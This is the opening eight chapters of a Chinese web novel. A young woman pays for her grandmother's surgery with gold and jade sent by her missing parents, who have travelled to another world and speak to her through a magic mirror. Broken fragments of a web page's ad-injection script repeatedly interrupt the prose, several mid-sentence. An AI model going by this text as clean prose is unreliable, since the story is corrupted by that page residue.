《我的父母穿越了》 1. 第 1 章 袁淼赶到医院时,袁奶奶已经进了手术室。门口的看护刘姨看到她,连忙站起来。 “袁小姐……” “怎么样?”袁淼赶得匆忙,呼吸尚未平稳。 “在里面抢救……袁小姐,这事不能怪我!是你奶奶非要出去,说外面下雨了,要给你送伞,我怎么拦都拦不住,转个身的工夫,她就跑出去了,等我追出去时,她已经摔倒了!” 事情经过,在袁淼接到电话时,刘姨已经说过一遍。 袁淼点头:“我知道,谢谢你,刘姨。” 阿尔兹海默症患者的执着,她深有体会。下雨要给她送伞,到点要给她做饭,还以为她在上学,生怕冷了饿了。去年还能劝住,今年就有点难了。除非她现身说法,其他人根本没办法。 刘姨松了一口气。她跟袁家祖孙俩同住一栋楼,接她家看护老人这事,一个月也就挣三千。袁淼上班的时候过来,下班她就可以回家。钱不多,她只当打发时间。谁知道会出这档事?如果叫她赔,那就亏大了。钱没挣到,还得倒出。她家老头子知道了一定会骂死她。 “那行……你来了,我就回去了啊,家里老头子还等着我做饭呢!” 刘姨简直迫不及待。 袁淼并没多说,目送刘姨离开。这时候纠结责任划分并无意义,她和刘姨之间只是口头约定。三千元一个月找一个全天看护不容易,虽然事不多,但时间总归是耗在那儿。有时候遇到加班,或者突然情况,刘姨很好商量。当然,事后她会有补偿。 人情长久,需要彼此体谅。她还希望刘姨以后能继续帮忙。 没坐多久,抢救室的门打开了。穿着白大褂的医生拿着片子出来:“谁是周玉兰的家属?” “我是!”袁淼连忙应道。 医生看了她一眼:“你是她的……” “孙女。” “你父母呢?” 袁淼顿了顿:“不在了。我是她唯一的亲人。” 医生明白了,“是这样的,老人家急性脑出血,出血量较大,颅内压明显升高,现在情况很危险,如果进行手术的话,还在抢救的黄金时间内。不过,患者的年纪较大,既往有阿尔兹海默症,手术是否成功,我们并不能保证,只能说比起不手术,存活的概率要略大些……” 袁淼眼圈一下发热,忍住了没落泪:“手术!医生,我们选择手术!” 医生点头,让袁淼签了字后进去了。 袁淼无力坐下,眼泪落了。她的父母并不是不在了,而是失踪。失踪了八年。这八年来,她与袁奶奶相依为命。 还是学生的时候,偶尔梦回,父母还在身边,笑语嫣然:淼淼,还不起床?要上学。淼淼,今天想吃什么?淼淼,这次考试怎么样? 她的父亲袁博文是初中数学老师,母亲谢云溪是内科医生。八年前,同样是夏天,他们一家三口来到古碑寨旅游,走迷踪阵的时候,她出来了,父母却不见了。 刚开始,她以为他们俩在捉弄自己,喊了几声后,自顾便走了,直到天黑了,也没见人回来,她这才觉得有点不对劲。 那时她还在上高中,惶惶然,也不知道怎么处理,等到第二天才去报警。 所谓的迷踪阵,不过是比人略高些灌木丛,按五行八卦布置。入口就有口诀,照着走,几分钟便能出来。即便是不记得口诀,跳高些,也能看到全貌。 人怎么会在里面失踪呢? 但事情就是发生了,方圆数十里地毯式搜索也没找到人。谁也不知道人去哪儿了? 她几年后才从这件事情里走出来——当然,这是表象。至今,她看到略幽深些的灌木树林,心里都会胆寒。 “周玉兰的家属!”护士从窗口探头喊道。 袁淼连忙收起思绪过去:“我是周玉兰家属!” 护士递过来一张单子:“你们欠费了,赶紧交点钱吧。” 袁淼看了看催款单,上面显示已欠费三千多。 “你好,请问你知道我奶奶这种情况,手术下来,以及后续治疗,大概要花多少钱?” 护士想了想:“十五六万吧。” 袁淼心头一紧:“谢谢!”转身打开自己的手机,wx,zfb,网银,她所有的钱加起来三万出头。 钱远远不够,只能先借了,至少要把这几天应付过去。袁淼拨通了好友沈若君的电话。 听说借钱,沈若君二话没说:“你要多少?” “二万,有没有?” 沈若君跟她一样,也是进入职场没几年,虽然她家境较好,但是借钱这事不好超过个人范畴。 “有!我马上转给你!” 只一会,袁淼就听到银行卡到账的提示音,她跟沈若君道谢。 沈若君笑着说:“你酸不酸?我们之间还用说这个?二万够不够?不够,我找我哥拿点!” “够!” 挂了电话,袁淼就交了五万元住院费。 袁奶奶的手术很成功了,从手术室推出来后就送进了重症监护病房,里面不需病人家属看护,一切有医生护士。袁淼一大早打车来到了新江市,这里是她的老家,她人生的前十八年都是在这里渡过。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 相对大都市日新月异的变化,小县城似乎连空气都是静止的,街道跟几年前一模一样,单元楼门口的树下,躺椅依旧,摇着蒲扇的老人见到她,哟了一声坐起来:“淼淼回来啦?” “余伯伯好。” 余新海笑着说:“好好好,淼淼,你现在在哪儿上班?” “魔都。” “哎哟,大城市好啊,挣钱多。你奶奶怎么样?” 袁淼笑着:“还好。” “那就好。这次回来是准备搬家吗?” 袁淼笑着没回答。她这次回来是准备卖房,奶奶的住院费还有十几万的缺口,这么大数目,卖掉老家的房子是她能想到唯一的办法。 她想过了,现在新江市的房价并不在高位,但她家老房子的地段很好,市中心,临近学校,应该能卖到四十来万,支付了奶奶的住院费后,还有二十来万的结余,足够应付后面的康复治疗。 打开了门进来,记忆随着熟悉感扑面而来。三室一厅的房子,装修虽然陈旧,却干净宽敞。袁奶奶确诊阿尔兹海默症后,她就带着她离开了这里,走之前将许多东西都用布罩上了。 她依次看过厨房卫生间客厅,来到主卧室,这里是她父母房间。奶奶比她执拗,始终相信儿子和媳妇还会回来,里面除了床被罩上以外,其他的跟八年前一样。 袁淼摸了摸桌面,上面已经积了薄薄的一层灰。 时间如梭,半点不由人。她们等不到已经离开的人了。 袁淼在梳妆台前坐下来,面前的镜子里照映她出的头脸,疲倦且茫然。 她记不起八年前自己的样子了,如果父母回来,见到她,不知道会不会觉得陌生。 袁淼正想着,突然,平静的镜面如水波样变花,照映的一切变得模糊,三声轻响之后,一张人脸毫无预兆的出现了。鹅蛋脸,柳叶眉! 这不是她! 袁淼惊呆了! 镜子里的女人也像是受了惊吓,一下捂住了自己的嘴,眼睛瞪的圆溜,满是不敢相信。 “淼淼?”女人出声轻唤。 袁淼脑海也一片混乱,听到自己的声音迟疑出口:“妈?” 镜子里的女人眼泪一下出来,声音压抑激动:“博文!袁博文!” 镜子里很快多了一张人脸,容长脸,丹凤眼,气质儒雅。 袁淼呆呆看着,喃喃叫道:“爸?” “淼淼?淼淼是你吗?”男人一脸惊喜。 袁淼浑噩点头:“是我,爸,妈,你们怎么……” 出现在镜子里?! 2. 第 2 章 袁博文夫妇看着镜子里的女儿,眼泪差点掉下来,天知道他们有多想念女儿。 在走古碑镇迷踪阵时,妻子突然想反着口诀来走。他不以为然,那灌木丛他踮踮脚就能看到顶,女儿在哪儿一目了然。谁知道走着走着,突然起了雾,虽然垫脚一样能看到灌木丛的顶,却看不了多远了。等他们从迷踪阵出来,世界大变了样。 他们穿越了。 来到这里后,他们尝试过各种各样的办法想回去,但都没成功。没办法,只能走一步看一步,毕竟,人只有活下来,才能回去的可能。 这里类似华夏封建时期的唐宋年代,但王朝名称并不是华夏历史上的任何一个,疆土与局势也与他熟知的完全不同。他们现在身处的王朝,叫大顺王朝,建国已有二百多年历史,疆土辽阔,比起华夏历史上的元代还要大。 不过,人民的生活水平低下,完全比不上万国来朝的唐宋。 他们穿越到这里后,年纪居然也看起来变小了,大概有十岁左右的差距。来这里的八年期间,他们一边寻找着回去的办法,一边努力生存。他是个老师,虽然是教数学的,但也占了些便利,如今已经是举人。 妻子谢云溪是个医生,来这里后却有些憋屈。这里的人信奉中医,女子讲究贤良淑德,虽没有宋朝时期那么严苛,但抛头露面顶半边天却是绝对不许。 而且,没有药物和器械,西医很多时候也束手无策。 八年时间,他们已经小有家底,但前不久附近商州突发大地震,连带他们所在的沔州也波及到了,损失不小。地震的救灾还没来,造成的堰塞湖决堤了,一泻千里,整个沔州以及周边成了一片泽国。 死伤无数。 幸亏他们反应及时,侥幸捡了一条命,如今,正随着逃难的大部队往南迁移。 之所以能在镜子里看到女儿,以及女儿能看到他们,是因为他们手上的镜子并不是凡物,而是一件罕见的奇宝。 穿越后,他们无时不刻都想回去,家里有老人孩子,老人身体不好,女儿又在学习的关键时刻,这些都丢不开。可是始终不行。听说沧月山有奇人,能飞天遁地。他们也来碰运气了。这面镜子就是从沧月山一位老道手中所买,叫通界宝镜,听说能沟通两界。 许多人对这种传闻不以为然,但他们夫妻就是穿越过来的,自然与其他人不一样。拿到镜子之后,按照老道所说,取指尖血,滴在镜面,然后老道又做法。传闻这样就能沟通到另一个世界与自己骨血相连的亲人了。 可是一切照做了,镜子一点变化都没有。 试了几次后,连他都灰心丧气了。 但妻子谢云溪却一直没死心,隔三差五试,就连逃命都没忘记带上镜子。 袁淼听了父母的叙述,有种我是谁我在哪儿的懵逼,但面前镜子里面的两张脸确实是她的父母,他们看起来跟八年前变化并不大——除了发型和衣着。 袁淼掐了自己一把,确定不是在做梦。她打起了精神。 “我跟奶奶三年前就没在这里住了。” “原来是这样。”谢云溪心情激动,擦了擦眼角。三年前,他们还没有拿到通界宝镜,当初老道做法时,用的参照物就是主卧室梳妆台的镜子。那镜子有边框,不易碎,而且一进房间就能看到。 “你们都还好吗?淼淼,你高考了吗?”谢云溪想伸手摸一摸镜子里的女儿,但又担心她会突然消失不见。 袁淼点头,“我考了662分,上了江都大学,现在已经毕业了,在魔都工作。” 谢云溪笑出了眼泪:“我女儿真棒!” 袁博文也很高兴,女儿成绩一贯很好,当初她的愿望就是江都大学,没想到即便是他们不在身边,女儿也实现了自己的心愿。 “老爷!”马车外面有人叫道。 袁博文连忙起身下马车,将人拉到一边说话。 袁博文突然消失,袁淼吓了一跳:“爸爸他……” 谢云溪连忙低声说:“不用担心,你爸在旁边跟袁归说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话。袁归是我们家的下人。” 下人?袁淼晕晕乎乎哦了一声。 谢云溪看到她的样子,不禁轻轻抚了抚,微笑说:“袁归是你爸的小厮,妈妈身边还有个念荟,他们是爸爸妈妈在这边买的。除了他们,还有福伯,早年曾帮过我们,现在也在我们身边做事。” 袁归,愿归,念荟,念回,袁淼一下就明白了。 谢云溪突然轻咳了几声。 “妈妈,你怎么了?”袁淼关心问。她发现谢云溪虽然看起来变化不大,实则脸色苍白,形容憔悴。 “我没事。”谢云溪微笑说着,又连咳了好几声。 袁淼心里一下揪紧。她没忘记妈妈在穿越前是名医生,但生产力低下的封建时期可不得现在,缺医少药,再厉害的西医也治疗不了普通肺炎。 “妈,你生病了吗?” 连咳几声,谢云溪的呼吸有点紧张了,但不想女儿担心,她依旧微笑着:“没事,应该是受凉了。过几天就能好。” 袁淼却不敢大意,她好不容易才联系上父母。 “妈,这镜子可以连通两界,可不可以传递物品?” 谢云溪也愣住了。当初那老道曾今说过,通界宝镜不仅可以让不同两界的骨肉相见,还能互通有无。这互通有无,不就是物品交换吗? 想到这里,她连忙把头上的一支白玉簪子拔下来,心里默念了一遍老道教过的咒语。眨眼功夫,手中的簪子不见了。 再看镜子里,里面的女儿手上正拿着一支白玉簪子。 袁淼看着手中的白玉簪子,一脸惊愕。过了一会后说:“妈,你等着,我去给你买点药!” 谢云溪连忙叫住女儿,激动使得她的脸色都开始泛红了:“你知道要买什么药?” 袁淼点头,小时候谢云溪经常带着她到医院上班:“抗菌消炎的,止咳化痰的,还有退烧的,对吗?” 谢云溪笑了:“退烧的就不用了。除了抗菌消炎的药物,你再买点抗病毒的。” 3. 第 3 章 袁淼答应后就起身跑了出去。小区的门口就有药店,她将青霉素类和头孢类的消炎药各买了二盒,又买了抗病毒的药。碘伏和棉签算是万能常备,她又各买了一点。 提了一大袋子跑回家里,谢云溪和袁博文都在镜子里。袁博文已经从妻子那里知道了宝镜可以传递物品的事情,脸上也是抑制不住的紧张和激动。 “妈!”袁淼把手中的东西给父母看。 “好,淼淼,妈妈把咒语告诉你,你记得默念的时候一定要避开人。” 袁淼点头。记住了谢云溪告诉了咒语后,闭上眼睛默念,等她再睁开眼,桌子上的袋子消失不见了,出现在了镜子里面。 袁博文和谢云溪看到突然出现的袋子,又惊又喜。看过里面的东西后,袁博文说:“淼淼,你手上还有钱吧?” 袁淼顿了顿,点头。她现在手上有钱,但不多了。一千多点。 “我们这边现在形势不好,地震过后又是洪水,粮食和生活物资奇缺,你能传递些粮食过来吗?” 袁淼松了一口气,粮食不贵,二三十元就能买一袋5kg的了。 “你们要多少?除了米和面以外,蔬菜要不要?肉呢?” 袁博文和谢云溪相互看了一眼,两人都没忘记现代生活常识。 袁博文说:“面粉不用,你就买一袋米,蔬菜买点当季的。不要买多。如果有腊肉腊鱼等容易存放的,可以多买些。” 袁淼记下后:“好,我现在就去买。” 袁淼去买东西了。袁博文和谢云溪心情依旧没有平复,这天,他们不仅见到心心念念的女儿,还收到了来自另一个世界熟悉的物品。 袁博文从袋子里拿出抗生素递给妻子:“你赶紧吃点药。” 谢云溪已经咳嗽了好几天。地震来临时,沔州市的房子倒塌了不少,他们所住的二进小院也倒了二间房,其他房间也出现了裂痕。余震不断,他们没敢再住进房间里。天寒地冻,就在院子里的空地上搭了个简易棚子。 过了一天,谢云溪就开始发烧了,断断续续烧了二天,她觉得不对劲了。她自己是个医生,知道轻重,赶紧抓了点中药,谁知道药还没进嘴里,洪水就来了。整个沔州市乱成了一团,哪儿还顾得上吃药?裹了要紧物件,赶紧往高地跑。 洪水跟在后面,但凡手脚慢些的都被吞噬了。 谢云溪吃了消炎药后,心里也松了一口气,她也觉得自己不是普通的感冒。不过,现在不用担心了,有药,即便是肺炎,也问题不大。 “忘了问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,也不知道现在婆婆怎么样?” 袁博文轻轻拍了拍妻子的肩膀:“没事,等淼淼回来了,我们再问。” 忘记问的何止是这一件事情?突然见到女儿,高兴得有些昏头了,只看到了眼前的事。 刚才袁归打听了一圈消息回来。此次堰塞湖决堤,不仅淹了沔州,连商州和通州也淹了不少地方,上游还在下雨,水位只怕还得上涨。 逃难的人都是匆忙上路,许多东西都没带。他们也一样,一路上吃喝都要买。前几天粟米就涨到一升十文钱,今天开到三四十文钱都没人卖了。 河提两边洪水滔天,到地势略高些的郴州至少还要十天,现在还没听到朝廷有任何赈灾消息。现在都买不到粮食和药,以后更不用说。饥荒和瘟疫也许要不了多久就要来了。 谢云溪点头,想起女儿刚才的神情,连忙躬身从横板下拿出一个匣子。 “博文,我们把这个给淼淼吧,她手上恐怕没多少钱。” “好。”袁博文也想到了同一个问题。女儿参加工作不到二年,手头绝对不宽裕。他们匆忙离开沔州时,除了金银玉器房产地契银票以外,其余几乎都没顾上。 房产地契银票,给女儿,女儿也没用,金子在哪儿都是硬通货。 4. 第 4 章 谢云溪又把自己的首饰匣子拿出来,她不喜欢穿金戴银,对翡翠玉器情有独钟。但日常跟夫人太太们交际,也需要妆点门面。所以,匣子里面玉镯子玉簪子玉坠子居多,金银饰物没几件。 她捡了一个玻璃种飘绿的玉镯子:“也不知道那边现在玉的价钱怎么样?” 袁博文说:“你一下子别给她太多了,太打眼了不好。” 谢云溪想想也是,女儿一个人,父母都不在身边,连个保护的都没有。 “也不知道她谈男朋友了没有?” 袁博文心里也难受,没见着人的时候,天天想时时念,现在见到了,又记挂起她的安全。女大十八变,女儿较之八年前越发漂亮了。读书那会就有人骚扰她,现在只怕是更多。 没有仰仗的美丽,有时候就是祸端。 袁淼不知道父母已经担心起她的终身大事,她没跑远,小区旁边就有个生鲜超市。袁博文交待米和蔬菜不用买多,她估计那边应该是保存不方便。古代可没有冰箱,电都没出来呢。但父母加伺候后的下人,也有五口人。袁淼便按了差不多三天的量买了西红柿萝卜白菜等当季蔬菜,鸡蛋拿了一板,大米则是买了一袋重量为10kg的五常大米。 腊肉和腊鸭超市也有卖,这些容易存放。袁淼买了五斤腊肉,腊鸭则买了二只。腊肠也秤了十几斤。 袁博文没有提到火腿肠,袁淼也是看到后才想起。这东西比腊肉香肠还容易存放,她二话没说拿了一捆,午餐肉和午餐鱼都是成品,不仅容易存放,食用也很方便。她各买了二盒。 电视小说里有讲古代食用油都是动物油脂,吃久了会腻。袁淼又拿了一通5l的花生油放进购物车。 盐和糖都拿了一袋。 购物车很快就满了。袁淼想起来,自己可不是富翁,手上只有一千多点。购物车上的东西恐怕都要超了。 她结束了扫荡了。还好,最后结账,还余二百多元。 超市的售货员看到她买了不少,问:“你也是锦园小区的户主吧?” “是啊。” 售货员笑着说:“我们门口有个拖车,你可以用,用了之后还回来就行了。” “谢谢!” 袁淼把东西搬上拖车,拉回了家。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 袁博文和谢云溪还在镜子里。袁淼呼吸略急,在梳妆台坐下来,把买到的东西跟父母说了一遍。 谢云溪不由得说:“怎么买这么多?你手上还有钱吗?” “还有。” 袁淼默念咒语后,把买到东西一一传了过去。 大米,菜,肉,鸡蛋……马车上很快就放满了。袁博文和谢云溪都惊呆了,幸亏他们在马车里面,没叫其他人看见。这些东西都够他们用上四五天了。 “怎么样?都用得上吗?”袁淼问。 何止是用得上,每一样都是必需。 谢云溪拿出匣子说:“淼淼,这里面是十锭金元宝,每锭二十两,你找一家金店,他们应该可以兑换。你一次别兑换太多,免得引人注意。需要钱就去换,用完了再跟我们说。” 袁淼哦了一声,她已经晕了。十锭金元宝,每锭二十两!一两金子多少克?现在金子兑换的比例是多少?一克金子兑二百多元还是三百多元? 她不知道,但十锭元宝,每锭二十两,总价绝对上百万了! 她不用卖房子了!奶奶的住院费有了! 5. 第 5 章 收到匣子后,袁淼打开来,里面是十锭黄灿灿的金元宝。拿起一个看,入手微沉,上面繁体字刻着:十足金,祥和,二十两。 袁博文交待:“淼淼,你兑换的时候,一定要注意,一次兑换一二锭就可以了,钱用完了再兑,找大店兑,比如宋记,他们是百年老店,注重声誉,一般会明码标价,不会坑人。” “好。” “如果他们问起来历,你就说祖上所传。”袁博文顿了顿又说。 他以前虽然没兑换过金子,但觉得询问金子来历这事不大可能会发生,这是个人隐私,只要不是数量庞大的金子,应该没有人管你是怎么来的。 但就怕居心叵测的人。 袁淼应下了。宋记在新江市就有门店,她决定一会就去看看。 “淼淼,你有男朋友了吗?”谢云溪突然问。 袁淼马上不自在了:“没有。” 袁博文和谢云溪相互看了一眼,隔着镜子,两人都不知道女儿这话是真是假。暗说女儿长得漂亮,性格又好,不可能没人追。但这事没有绝对。 八年未见,这事不急。袁博文又问:“奶奶怎么样?” 袁淼犹豫了一会:“不太好,现在在医院里面。” 袁博文脸色一下变了:“什么病?要不要紧?” 袁淼把袁奶奶摔倒导致脑出血住院的事情告诉了袁博文和谢云溪。 袁博文既心疼又难受,忍不住捶起自己的头来。父母在,不远游,他枉为人子了。 谢云溪连忙安慰他:“你别这样!这事不能怪你,婆婆知道了,也会理解。而且手术很成功,相信要不了多久,婆婆一定会醒过来!” 袁淼也连忙点头。她知道父亲很孝顺,没想到他听到消息会这么难受。 “博文,你这样会吓到孩子的。”谢云溪又说。 袁博文听进去了,让自己冷静下来,问清楚袁奶奶的病情后,说:“淼淼,你这次就拿二锭元宝去兑换,妈妈一会儿再传给你几样首饰,你找个拍卖公司拍卖。医院那边,奶奶的治疗,你跟医生说,尽管按照最好的来,钱如果不够,我们来想办法。” “好。” 夫妻俩原本有一肚子的话想跟女儿说,这会都没心情了。 谢云溪又从自己的首饰盒里挑了一根玻璃种碧玉簪,连同先前的飘花手镯一并传给了女儿。 既然要找拍卖行,东西自然是越高档越好。 翡翠玉器,玻璃种最难得。飘花手镯莹润通透,碧玉簪更是少见的满绿,两件加起来至少能拍到百万。 有钱才有底气。 他们现在发现女儿恐怕不仅仅是没钱了,应该是到了山穷水尽的地步。原本他们离开时就没有留下多少东西,就一套房子和十来万元存款。这些年钱应该早就花完了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 现在又病倒了一个,可想而知有多艰难。 原本觉得兑一锭金元宝就行,现在觉得远远不够。 又交待几句后,袁淼去兑换金元宝了。袁博文和谢云溪心里沉甸甸的,既担心女儿,又担心病重的袁奶奶。 谢云溪叹了口气:“我应该把库房那件八马奔腾的玉器摆件带出来的。” 那是她好不容易淘到了,虽然不是玻璃种,但也是少见的冰种。最难得的是雕工了得,八匹马栩栩如生,又是整块玉石做成。属实难得。 如果拍卖,价钱绝对不会比给女儿的两样玻璃种首饰低。寓意又好,又稀缺,绝对是富豪们的心头好。 袁博文拍了拍妻子的肩膀以示安慰。他现在觉得钱已经不是问题,有通界宝镜,女儿可以把现代的粮食等生活物资传递过来,他让袁归悄悄出售。 这边粮食奇缺,而且看形势,粮价还会上涨。 到时候他们再把卖粮的钱换成金银玉器或者其他现代价格昂贵的物件,给女儿传递过去。 从沔州逃出来的人,如他们这样只带了要紧物件的绝对不是少数。这些人手上可不缺稀罕物件。 而现代的生活物资不仅品质好,价钱也便宜。 那八马奔腾的玉器摆件虽然难得,但逃难路上不好携带。东西在自家院子的库房里更稳妥些,等洪水退去后,说不定还能找到。 6. 第 6 章 袁淼揣了二个金元宝,在小区门口叫了辆出租车,来到了市中心的宋记。 宋记是百年老店,专营珠宝首饰,历史可追溯到明清时代,门店遍布全球,在全国珠宝行算是数一数二的存在。 袁淼虽然以前从未踏足,但也如雷贯耳。 正值中午,店里人不多。袁淼进来时,里面除了工作人员,还有二位年轻男子,一位西装笔挺,神色冷峻,另一位戴着眼镜,正在看橱窗陈列的商品,侧脸眉宇清冷,鼻梁挺拔。 袁淼往服务台走去,顺便看了看橱窗成列的首饰——细细的一根金项链标价四五千,翡翠玉器的价钱更叫人瞠目,冰种以上的基本五位数起步,唯一的一件玻璃种飘花手镯竟是标价百万。 不仅单独橱窗陈列,还上了锁。 那手镯的绿花还没有她才拿到的手镯多,倒是在灯光的映照下,显得格外莹润通透。 “您好,是要看手镯吗?”服务员过来问。 “不是。”袁淼瞟了一眼不远处的两位年轻男子,他们跟先前一样,一个笔直站着,一个还在看橱窗的商品,有一位美女售货员在旁边,像是在介绍商品。 “请问,你们店里回收黄金吗?” “回收!这边请!” 袁淼跟着服务员来到门店的一角,那里有位中年男子正在看电脑。旁边的台面上摆放着许多工具。 “这是我们门店负责黄金回收的吴经理,具体回收细则,他会跟您讲。” 服务员介绍后离开了。 吴经理看了看袁淼,说:“你要出手黄金?是我们宋记的吗?如果是的话,我们每克旧金要收取30元的折旧费。如果是其他品牌,我们除了要收取折旧费以外,另外还要在目前的金价上每克再减15元。这上面是今天的金价,你看看。” 袁淼在过来的路上就在网上搜索过有关黄金回收的消息,也确实如眼前的人所说,回收黄金并不会按照当下的金价来,而是会低一点。 具体低多少,每个金店不一样。相对来说,二手奢侈品店会略高于品牌大店。当然,安全方面,肯定是品牌大店更靠谱。 出门时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,袁博文和谢云溪再三交代过,安全尤为重要。 袁淼并没有犹豫多久,看了看墙上挂牌上的金价后,拿出了金元宝。 “不是宋记的。” 吴经理愣了愣,金元宝? 这年月回收的黄金多是旧首饰,很少碰到有其他金子有出手,毕竟黄金的价一直在涨,投资收益比银行存款靠谱多了。 而金元宝之类,要么是假的,要么是古物,古物谁会拿出来?收藏的价值就远超黄金的本身了。 眼前的女孩虽然长得漂亮,但衣着不显,可不像是有钱人家的。 不过,宋记是百年老店,以貌取人是严令禁止的。吴经理是宋记的老人,虽然心里疑惑,还是接过了金元宝。 一上手,他就觉得自己先前有可能看走了眼,连忙又戴上了眼镜和手套,先是在放大镜下看,仔细看了好一会后,又过称称重量。 袁淼在旁边,心都跟着悬了起来,她今天之前虽然连首饰店都不曾踏足,对黄金的兑换一窍不通,但也知道过去的金子跟现在的不一样。 7. 第 7 章 首先一个提炼水平就不一样。过去工艺不发达,所谓的足金应该没有现在的足金纯度高。 金元宝一看就知道是过去的东西,如果追究起来历,一句祖上所传人家未必会信。 不过,显然,袁淼的担心是多余的。 吴经理一直在忙,好一会后才抬头,说:“您这二锭金元宝纯度都是96%,重二千克。您确定都要兑换吗?” 他不知不觉换了称谓。 袁淼松了一口气,“是的,都兑换。” “您稍等。” 吴经理在计算器上点击了几下后说:“今天的金价是485元每克,按照我们宋记回收黄金的规矩,您的货得在目前金价上减去45,也就是440元。您这二锭元宝,都兑换的话,是一百六十八万九千二百元,您看看对不对?” 两锭元宝黄金就是一百六十多万!她还有八锭!那就是六百多万! 这么多钱,不仅奶奶的住院费有了,她还可以买套新房子了! 袁淼心里激动。 她现在租住的房子在魔都三环边上,房主将三室二厅隔成了二个二居室出租,她手头拮据,便租了面积较小的那套,卫生间与另一家共用。冬天还好,夏天很不方便,那家的男主人经常光着上身,有时候洗澡和上厕所都不关门。 袁淼跟他家的女主人提了两次,人家根本没当回事,还说卫生间本来就是共有,她想怎么用就怎么用,谁也管不着。 袁淼没法,只得减少去卫生间的次数。但她可以在外面解决,袁奶奶却不行。 现在好了,等奶奶出院了,她就换个地方住。 袁淼确定数目没算错后,吴经理又拿出了一张兑换合同。她看过后,签了名。钱没多久就到账了。 看到银行卡上的数字,袁淼有种压在身上的千斤重担被挪开的放松,嘴角的小梨涡不由得露了出来。 她脸型小巧圆润,五官精致,原本就很美,这般微微一笑,更是有种云破天开的惊艳。 不远处浏览的年轻男子这时刚好抬头,看了一眼,低下了头。 袁淼离开后,他来到经理跟前。 “刚好那位顾客兑换的是金元宝吗?” 吴师傅马上警惕起来:“抱歉,这个问题我不能回答。” 说着,手摸向了桌子下方的警报器。 年轻男子长腿玉立,推了推眼镜,缓缓说:“我是宋颜。” 宋颜?宋记总经理?!吴师傅突然想起在集团公司年终总结大会上的惊鸿一瞥,可不就是眼前的人? 吴经理慌忙站起来:“宋总好!” 不等宋颜再说,吴经理双手奉上了刚才袁淼兑换的金元宝。 “这是刚才那位小姐兑换的货。” 西装革履的保镖连忙拿出一双白手套递上。宋颜接过后戴上。他手指修长,骨节分明,眉宇从容淡定,有种不可直视的贵气。 吴经理低着头:“纯度是96%,共有两锭,每锭标注二十两,重二千克。按照规定,兑换了一百六十八万九千二百元。这是兑换合同。” 宋颜像是并没有在听,只关注着手上的金元宝,看得十分仔细。 店里其他服务员已经噤若寒蝉,刚才招待的那位更是庆幸自己没有怠慢。 她们虽然没有见过宋记的核心人物,但也听了不少传闻。 宋记传承至今也有百余年,历代只有长房才能涉足珠宝首饰行。目前执掌宋记的宋老太爷只有二子一女,长子身体不好,四十来岁上头才得了一个儿子,那便是宋颜。 这位虽在兄弟中排行第三,却是实打实长子长孙。 只是一直在国外,前几年才回来,见过庐山真面目的很少。 没想到这么年轻。 先前招待宋颜的服务员悄悄看了一眼,脸微微红了。 宋颜看得很仔细,一会后才将元宝递给吴师傅,交待入库后走了。 他一走,其他服务员都过来了。 “吴经理,他真是宋颜吗?” “好帅!” 吴师傅既是负责黄金兑换的师傅,也是新江市宋记的经理,“行了,都别八卦了,该干什么该什么!” 他也很紧张,这位可是铁板钉钉的宋记接班人,好在他刚才一切按规章办事,应该没出纰漏。 袁淼不知道她离开后发生的事情,回家后就把兑换的结果告诉了袁博文和谢云溪。 谢云溪说:“淼淼,我记得东华医院有vip病房,里面环境和服务较之普通病房要好很多。就是收费很高。你回魔都后可以向医院提出,把奶奶转到vip病房。” 这样的话,不仅老人能得到更好的治疗和服务,女儿也会轻松很多。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “钱的事情,爸爸妈妈来想办法。”袁博文说。 袁淼觉得自己手上的钱应该够了。一百多万呢。还有两件玻璃种翡翠,拍卖的话,说不定又是七位数。 袁奶奶还在医院,三人没有多说。袁淼把梳妆镜拿下来,找了床被子仔细包上,带着回了魔都。 先去了出租屋,放下镜子后,洗了个澡。她心里有事,洗得匆忙,洗好了开门,差点吓死。 隔壁那男人竟然就在卫生间门口,弓着腰,鬼鬼祟祟的样子。 “你干什么?”袁淼厉声问。 那男人若无其事站起来,上下打量了袁淼一通,笑了一声,摸着下巴走了。 袁淼心惊胆寒,进了自己房间后,赶紧关了门,打定了主意,一定要尽快搬走。 来到东华医院,重症监护病房探视的时间还没过。袁淼穿了隔离衣进去,偌大监护室里,共有八张病床,其中六张都有病人。每位病人看起来都很重,床边一溜机器环绕。 袁奶奶还没醒,露在外面的头脸有些浮肿,胸廓随着呼吸机一起一伏。 袁淼的眼圈瞬间红了。 医生过来说:“你是病人的家属吧?她今天情况比较稳定。” 从手术室推到重症监护病房时,他们好几位同行都认为老太太这关过不去。年纪又大,出血的量也不小,既往还有多种病史。 但出乎意料的是,老太太不仅手术很顺利,从手术台上下来,各项指标都很稳定。 老太太求生欲很强。 袁淼压下了心里的难受,询问过病情后,“刘医生,我听说你们医院有vip病房,是吗?” 刘医生愣了愣:“是的,不过那边的费用相对较高。” “我奶奶这种情况,适合入住吗?” vip病房原本就是为有特殊需要的病人准备,里面不仅环境和设备一流,配备的医疗人员也是最优秀的。 就是费用昂贵。一天光住院费就要大几千上万,其他的不算。 能住进去的人,无一不是身家雄厚的。 “当然没问题,我们vip病房里面不仅有最好的医生护士,也有最好的设备和环境。” “您确定要入住vip病房?如果确定,我马上联系那边主任。” 袁淼点头:“确定,麻烦你了,刘医生。” 8. 第 8 章 刘医生打了个电话,没多久,vip病房的主任来了。 了解了袁奶奶的情况后,他介绍说:“袁小姐,我们vip病房有三种规格,分别是单间、套间和豪华套间,目前,豪华套间已经有人入住,没有空房了。” “剩下的单间收费标准是每天880元,套间是每天1880元,这是住院费,其他费用要根据具体的治疗情况收取。” “这两种病房的环境都不错,你可以先去看看。” 